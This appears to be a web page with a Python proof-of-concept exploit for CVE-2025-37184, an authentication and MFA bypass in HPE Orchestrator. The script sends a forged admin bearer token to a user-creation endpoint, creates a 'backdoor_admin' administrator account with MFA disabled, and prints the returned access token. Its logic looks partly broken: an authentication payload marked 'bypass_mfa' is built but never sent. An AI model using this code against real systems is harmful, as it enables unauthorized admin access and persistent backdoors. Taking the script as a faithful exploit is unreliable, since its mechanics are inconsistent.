CVE-2025-37184: HPE Orchestrator 认证绕过漏洞

# CVE-2025-37184 PoC - HPE Orchestrator MFA Bypass # This PoC demonstrates the authentication bypass vulnerability import requests import json import sys TARGET_URL = "https://target-orchestrator.example.com" def create_admin_user(): """ Exploit: Create admin user without MFA verification The vulnerability allows bypassing MFA by directly calling the user creation API with manipulated session data. """ # Step 1: Initial authentication (bypassing MFA) auth_payload = { "username": "attacker", "password": "AttackerPass123!", "bypass_mfa": True, # Key parameter for exploitation "session_token": "manipulated_token" } # Step 2: Create admin account without MFA verification admin_creation_payload = { "username": "backdoor_admin", "password": "SuperSecretPass123!", "role": "administrator", "mfa_enabled": False, "email": "[email protected]" } # Send malicious request try: response = requests.post( f"{TARGET_URL}/api/v1/users/create", json=admin_creation_payload, headers={ "Authorization": "Bearer manipulated_admin_token", "Content-Type": "application/json" }, verify=False, timeout=30 ) if response.status_code == 200: result = response.json() print(f"[+] Admin account created successfully!") print(f"[+] Username: backdoor_admin") print(f"[+] Access Token: {result.get('access_token', 'N/A')}") return True else: print(f"[-] Exploitation failed: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": print("CVE-2025-37184 - HPE Orchestrator MFA Bypass PoC") print("=" * 50) create_admin_user()